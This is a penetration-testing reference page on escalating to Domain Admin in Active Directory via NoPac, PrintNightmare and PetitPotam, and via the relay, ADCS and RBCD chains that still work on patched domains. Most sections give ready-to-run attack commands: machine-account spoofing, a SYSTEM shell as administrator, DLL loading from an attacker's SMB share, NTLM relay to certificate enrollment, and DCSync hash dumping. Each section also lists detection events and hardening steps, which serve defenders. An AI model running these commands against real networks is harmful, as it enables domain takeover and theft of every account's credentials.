Privilege Escalation to Domain Admin — Known Exploits & Modern Equivalents
On this page
The three vulnerabilities below — NoPac, PrintNightmare, and PetitPotam — are still worth knowing, but their role has shifted. On a fully patched 2025–2026 domain, all three are usually closed. What remains is the attack primitive each one demonstrated, and that primitive is now delivered through modern tooling: NetExec modules for NoPac, detection-resistant coercion for PetitPotam, and the coercion → NTLM relay → ADCS/RBCD chain that survives patch cycles because it abuses configuration, not a missing update.
This page covers each exploit, its modern equivalent, and the detection and hardening that tells you whether it is still viable in a given environment.
1. NoPac (CVE-2021-42278 + CVE-2021-42287)
sAMAccountName Spoofing — any standard domain user with machine-account creation rights escalates to Domain Admin by creating a machine account, renaming it to match a DC, obtaining a TGT under that name, then exploiting the KDC’s fallback behaviour to obtain a service ticket with the DC’s privilege context.
1.1 The primitive
- CVE-2021-42278 — a machine account’s
sAMAccountNamecan be set to a value that violates the naming convention (specifically, the trailing$can be removed). The DC’s machine account isDC01$; the attacker’s account becomesDC01. - CVE-2021-42287 — when the KDC cannot find the account named in a TGT request, it appends
$and retries. The attacker requests a TGT asDC01, restores the machine account name, and the KDC falls back toDC01$— issuing a service ticket with the real DC’s privilege context .
1.2 Prerequisites
| Requirement | Check |
|---|---|
ms-DS-MachineAccountQuota > 0 (default 10) | nxc ldap <DC> -u <user> -p <pass> -M maq |
| DC not patched with KB5008380 / KB5008602 (November 2021) | systeminfo / patch level |
| Any standard domain user | No admin rights required |
1.3 Modern tooling — NetExec module (fastest check)
# Confirm the DC is vulnerable in one module
nxc smb $DC_IP -u $USER -p $PASSWORD -M nopac
# Output: [+] NoPac vulnerability confirmed
The maq module reports the quota; the nopac module performs the exploit attempt and reports success or failure. This is the lowest-friction way to triage a host before reaching for noPac.py.
1.4 Automated exploit — noPac.py (Ridter)
git clone https://github.com/Ridter/noPac.git
# Scan
python3 noPac.py $DOMAIN/$USER:$PASSWORD -dc-ip $DC_IP -use-ldap
# Shell as administrator
python3 noPac.py $DOMAIN/$USER:$PASSWORD -dc-ip $DC_IP -use-ldap \
--impersonate administrator -shell
# Dump all domain hashes
python3 noPac.py $DOMAIN/$USER:$PASSWORD -dc-ip $DC_IP -use-ldap \
--impersonate administrator -dump
# Dump a single account
python3 noPac.py $DOMAIN/$USER:$PASSWORD -dc-ip $DC_IP -use-ldap \
--impersonate administrator -dump -just-dc-user administrator
noPac.py handles the full chain: create machine account → rename → request TGT → restore name → S4U2Self → impersonate . The tool prints each step ([*] Machine account added, [*] Renamed to: DC01, [+] Got shell as Administrator).
1.5 Manual chain (Impacket + bloodyAD) — when noPac.py is blocked
# Step 1 — create a machine account
impacket-addcomputer $DOMAIN/$USER:$PASSWORD -computer-name 'EVILPC$' \
-computer-pass '$COMPUTER_PASSWORD' -dc-ip $DC_IP
# Step 2 — rename sAMAccountName to the DC hostname (NO trailing $)
bloodyAD -d $DOMAIN -u $USER -p $PASSWORD --host $DC_IP \
set object 'CN=EVILPC,CN=Computers,$BASE_DN' sAMAccountName '$DC_HOSTNAME'
# Step 3 — request a TGT for the renamed account
impacket-getTGT $DOMAIN/$DC_HOSTNAME:'$COMPUTER_PASSWORD' -dc-ip $DC_IP
# Step 4 — restore the machine account's sAMAccountName
bloodyAD -d $DOMAIN -u $USER -p $PASSWORD --host $DC_IP \
set object 'CN=EVILPC,CN=Computers,$BASE_DN' sAMAccountName 'EVILPC$'
# Step 5 — S4U2Self: impersonate administrator via the TGT for DC_HOSTNAME
export KRB5CCNAME=$DC_HOSTNAME.ccache
impacket-getST -self -impersonate administrator -spn 'cifs/$DC_FQDN' \
$DOMAIN/$DC_HOSTNAME -k -no-pass -dc-ip $DC_IP
The manual chain is more visible (multiple LDAP writes and a machine-account creation) but works when a tool-specific signature blocks noPac.py.
1.6 Detection and hardening
| Signal | Where |
|---|---|
| Machine account created just before a rename | 4741 |
sAMAccountName changed on a machine account to a value matching a DC (no $) | 5136 |
| TGT requested for the spoofed name, followed by an S4U2Self request | 4768, 4769 with Transited Services |
| DCSync after the S4U2Self ticket | 4662 with DS-Replication-Get-Changes-All |
Microsoft Defender for Identity has a built-in NoPac detection that alerts on the sAMAccountName spoofing pattern — verify it is enabled and fires with a test .
Hardening: apply KB5008380 / KB5008602, set ms-DS-MachineAccountQuota to 0 where operationally possible, and alert on 5136 changes to sAMAccountName on computer objects.
2. PrintNightmare (CVE-2021-1675 / CVE-2021-34527)
A flaw in the Windows Print Spooler’s RpcAddPrinterDriverEx() that lets any authenticated user load a printer-driver DLL that executes as NT AUTHORITY\SYSTEM — both local privilege escalation and, against a remote spooler, RCE.
2.1 The primitive
The Spooler service loads a DLL specified by the attacker — from a local path or a UNC path to a remote share — and executes it as SYSTEM without sufficient privilege checks . The DLL is stored in C:\Windows\System32\spool\drivers\x64\3\ after loading.
2.2 Prerequisites (all must hold)
| Requirement | Check |
|---|---|
| Spooler running | sc query spooler / Get-Service Spooler |
| Unpatched (< June 2021) | systeminfo |
PointAndPrint weakening (if patched but misconfigured) | See registry section below |
EnableLUA = 0 (UAC disabled) — for the local variant | reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA |
2.3 Modern exploitation
Check the RPC interfaces:
rpcdump.py @$DC_IP | egrep 'MS-RPRN|MS-PAR'
If MS-RPRN or MS-PAR is exposed, the spooler is reachable.
Host the DLL on an SMB share — Impacket’s smbserver.py now supports anonymous access natively (PR #1109), so no separate anonymous-SMB server is required:
# Share the DIRECTORY containing the DLL, not the DLL itself
sudo smbserver.py -smb2support CompData /path/to/dll/
Run the exploit (cube0x0’s Impacket implementation):
git clone https://github.com/cube0x0/CVE-2021-1675.git
# Requires cube0x0's impacket fork for the exploit module
sudo python3 CVE-2021-1675.py $DOMAIN/$USER:$PASSWORD@$DC_IP \
'\\$ATTACKER_IP\CompData\backupscript.dll'
Detect with ItWasAllADream — a scanner that checks a whole subnet without exploiting:
git clone https://github.com/3ndG4me/ItWasAllADream && cd ItWasAllADream
poetry install && poetry shell
itwasalladream -u user -p Password123 -d domain 10.10.10.0/24
2.4 PrintNightmare as a local-privesc (Spooler on the local host)
The same primitive works locally: register a driver DLL from a local path and the Spooler loads it as SYSTEM. This is the Invoke-Nightmare path (-NewUser / -NewPassword or -DLL), and it requires Spooler running + unpatched or PointAndPrint weakened.
2.5 Detection and hardening
| Signal | Where |
|---|---|
| Printer driver added — especially a non-standard DLL name | Event 316 (PrintService Operational), Event 808 |
spoolsv.exe loading a DLL from a user-writable path or a UNC share | Sysmon 7 |
PointAndPrint registry keys weakened | Sysmon 13 on HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Printers\PointAndPrint |
Event 316 is the most reliable detection: it fires when a new printer driver is installed, and the DataFile field contains the DLL name. Baseline legitimate drivers (UNIDRV.DLL, kernelbase.dll) and alert on anything else .
Hardening:
Patch (June 2021 updates).
Disable the Spooler on DCs and any host that does not print — this removes the coercion surface entirely.
If the Spooler must run, enforce Point and Print restrictions: the
PointAndPrintregistry key should not exist, or its values should be0:HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Printers\PointAndPrintCheck for
RestrictedDriverInstallation,UpdatePromptSettings, andNoWarningNoElevationOnInstall. ANoWarningNoElevationOnInstall = 1reopens the local escalation path even on patched hosts .
3. PetitPotam (CVE-2021-36942)
An NTLM coercion primitive that abuses the Encrypting File System Remote Protocol (MS-EFSRPC) to force a target — often a Domain Controller — to authenticate to an attacker-controlled host. It is not an escalation by itself; its value is as the first half of a relay chain.
3.1 The primitive, and what patching did
PetitPotam uses EfsRpcOpenFileRaw (and other EFS RPC methods) to coerce authentication over \pipe\lsarpc or \pipe\efsrpc. The original unauthenticated vector (EfsRpcOpenFileRaw over \pipe\lsarpc) was patched in August 2021. Other methods still trigger coercion on patched systems, but require authentication :
| Method | Pipe | Unauthenticated (unpatched) | Patched |
|---|---|---|---|
EfsRpcOpenFileRaw | \pipe\lsarpc | Yes | Blocked |
EfsRpcEncryptFileSrv | \pipe\efsrpc | No | Partially |
EfsRpcDecryptFileSrv | \pipe\efsrpc | No | Partially |
EfsRpcQueryUsersOnFile | \pipe\efsrpc | No | Partially |
EfsRpcQueryRecoveryAgents | \pipe\efsrpc | No | Partially |
Practical consequence: on a fully patched 2025–2026 DC, unauthenticated PetitPotam is dead. Authenticated PetitPotam — with any domain user — still triggers coercion via the
efsrpcpipe methods. That is why PetitPotam remains relevant as the coercion step in a relay chain, not as a standalone exploit.
3.2 The classic chain — PetitPotam → ADCS ESC8 → Domain Admin
This is the highest-impact PetitPotam use case, and it is still viable wherever ADCS Web Enrollment accepts NTLM :
# 1. Start the relay targeting the CA's web enrollment endpoint
sudo ntlmrelayx.py -t http://$CA_IP/certsrv/certfnsh.asp -smb2support \
--adcs --template DomainController
# 2. Coerce the DC (authenticated on patched systems)
python3 PetitPotam.py -u $USER -p $PASSWORD -d $DOMAIN $ATTACKER_IP $DC_IP
# 3. ntlmrelayx prints a base64 PFX; save it and authenticate
certipy auth -pfx dc01.pfx -dc-ip $DC_IP
# 4. DCSync with the DC machine TGT
export KRB5CCNAME=dc01.ccache
impacket-secretsdump -k -no-pass $DOMAIN/DC01$@$DC_FQDN
The BloodHound edge CoerceAndRelayNTLMToADCS models exactly this path — the target computer can be coerced to authenticate to an ADCS server, and the authentication relayed to an ESC8-vulnerable endpoint .
3.3 PetitPotam → LDAP relay → RBCD
When the CA is hardened but LDAP signing / channel binding is not enforced, the same coercion feeds an RBCD setup instead :
# Relay to LDAPS and configure RBCD in one step
sudo impacket-ntlmrelayx -smb2support -t ldaps://$DC_IP \
--delegate-access --remove-mic
# Coerce the DC (authenticated)
python3 PetitPotam.py -u $USER -p $PASSWORD -d $DOMAIN $ATTACKER_IP $DC_IP
--delegate-access tells ntlmrelayx to create a machine account and set RBCD on the relayed target. --remove-mic strips the MIC, allowing the relay to succeed even when signing is enforced — the CVE-2025-54918 / Drop-the-MIC lineage.
3.4 Alternative coercion tools
| Tool | Interface | Auth required |
|---|---|---|
| PetitPotam | MS-EFSRPC | Yes on patched systems |
| PrinterBug | MS-RPRN | Yes (domain user) |
| DFSCoerce | MS-DFSNM | Yes (domain user) |
| Coercer | Meta-tool — tries all vectors | Varies |
# Coercer — tries every vector
python3 Coercer.py -u $USER -p $PASSWORD -d $DOMAIN $ATTACKER_IP $DC_IP
# DFSCoerce
python3 dfscoerce.py -u $USER -p $PASSWORD $ATTACKER_IP $DC_IP
3.5 Detection and hardening
| Signal | Where |
|---|---|
Named-pipe access to lsarpc / efsrpc / spoolss / netdfs from an unexpected client | 5145 |
| NTLM authentication to a service that should use Kerberos | 4624 with AuthenticationPackageName: NTLM |
| Source IP does not match the claimed workstation | 4624 type 3 — the relay tell |
| Machine account authenticating to the CA | ADCS ESC8 relay |
The 5145 event is the most specific coercion detection: it records named-pipe access, and \pipe\lsarpc / \pipe\efsrpc access from a client that does not normally use EFS is a strong signal .
Hardening:
- Patch August 2021 (CVE-2021-36942) — but do not assume patching closes authenticated coercion.
- Disable the Print Spooler on DCs (removes PrinterBug).
- Enforce LDAP signing and channel binding — this closes the relay-to-LDAP half of the chain.
- Enable EPA (Extended Protection for Authentication) on ADCS Web Enrollment — this is the specific mitigation for ESC8.
- Monitor 5145 for EFS RPC pipe access, and baseline NTLM so that relayed authentication stands out.
4. When the Classic Exploits Are Patched — What Still Works
On a current, fully patched domain, the three exploits above are usually closed. The primitives they demonstrated remain, and these are the modern equivalents:
| Primitive | Modern path | Requires |
|---|---|---|
| Coercion → relay → ADCS | ESC8 with ntlmrelayx --adcs | ADCS Web Enrollment accepting NTLM; EPA not enforced |
| Coercion → relay → LDAP → RBCD | ntlmrelayx --delegate-access --remove-mic | LDAP signing/channel binding not enforced; --remove-mic for patched hosts |
| Machine-account creation abuse | RBCD (addcomputer + rbcd.py) | MachineAccountQuota > 0; write access to the target computer |
| Certificate impersonation | ESC1 / ESC15 / ESC17 / Certighost | Vulnerable template or CA fallback enrollment |
| Kerberos ticket forgery | Diamond Ticket | A valid TGT base; avoids the “never logged in” anomaly |
| NTLM reflection without relay target | CVE-2025-33073 | SMB signing disabled on any domain-joined host |
The shift: NoPac, PrintNightmare, and PetitPotam were vulnerability exploits. The modern equivalents are configuration exploits — RBCD, ESC8, ESC1, coercion-relay chains. They survive patch cycles because they abuse default permissions and missing hardening, not a missing update.
5. Quick Reference
| Exploit | Fastest check | Modern exploit | Payoff |
|---|---|---|---|
| NoPac | nxc smb $DC -u $U -p $P -M nopac | noPac.py --impersonate administrator -shell | Domain Admin / DCSync |
| PrintNightmare | rpcdump.py @$DC | egrep 'MS-RPRN|MS-PAR' | smbserver.py + CVE-2021-1675.py | SYSTEM on the spooler host |
| PetitPotam | nxc smb $DC -u $U -p $P -M coerce_plus | ntlmrelayx --adcs or --delegate-access + PetitPotam.py | DC certificate or RBCD |
When all three are patched:
# RBCD — the configuration path that survives patching
impacket-addcomputer $DOMAIN/$USER:$PASS -computer-name 'EVIL$' -computer-pass 'P@ss' -dc-ip $DC
impacket-rbcd -delegate-from 'EVIL$' -delegate-to 'TARGET$' -action write -dc-ip $DC $DOMAIN/$USER:$PASS
impacket-getST -spn cifs/$TARGET_FQDN -impersonate administrator -dc-ip $DC '$DOMAIN/EVIL$:P@ss'
6. Field Notes
- NoPac’s detection gap is the machine-account creation. A 4741 followed by a 5136 rename to a DC name is the chain — if you do not alert on 5136 for
sAMAccountName, the exploit is invisible. - PrintNightmare’s detection is Event 316, not 4624. The driver-install event is the specific signal; a successful exploitation does not necessarily produce an anomalous logon.
- PetitPotam is no longer a standalone exploit. Unauthenticated is patched; the value is authenticated coercion feeding a relay chain.
--remove-micis the modern relay enabler. It bypasses signing enforcement on hosts that would otherwise reject the relay — check the patch level before assuming relay is blocked.- RBCD is the post-patch equivalent of NoPac. Both abuse machine-account trust, but RBCD abuses a write primitive rather than a naming flaw — and it survives every patch cycle.
- ADCS ESC8 is the post-patch equivalent of PrintNightmare’s impact. Both yield a DC-level credential; ESC8 abuses NTLM enrollment rather than a spooler RPC.
- MachineAccountQuota = 0 closes NoPac and RBCD’s machine-account step. It is the single highest-value hardening change for these paths.
This page sits alongside the NTLM Relay and ADCS Attacks notes: the classic exploits are the entry point, and the relay/ADCS/RBCD chains are what you actually use when the host is patched.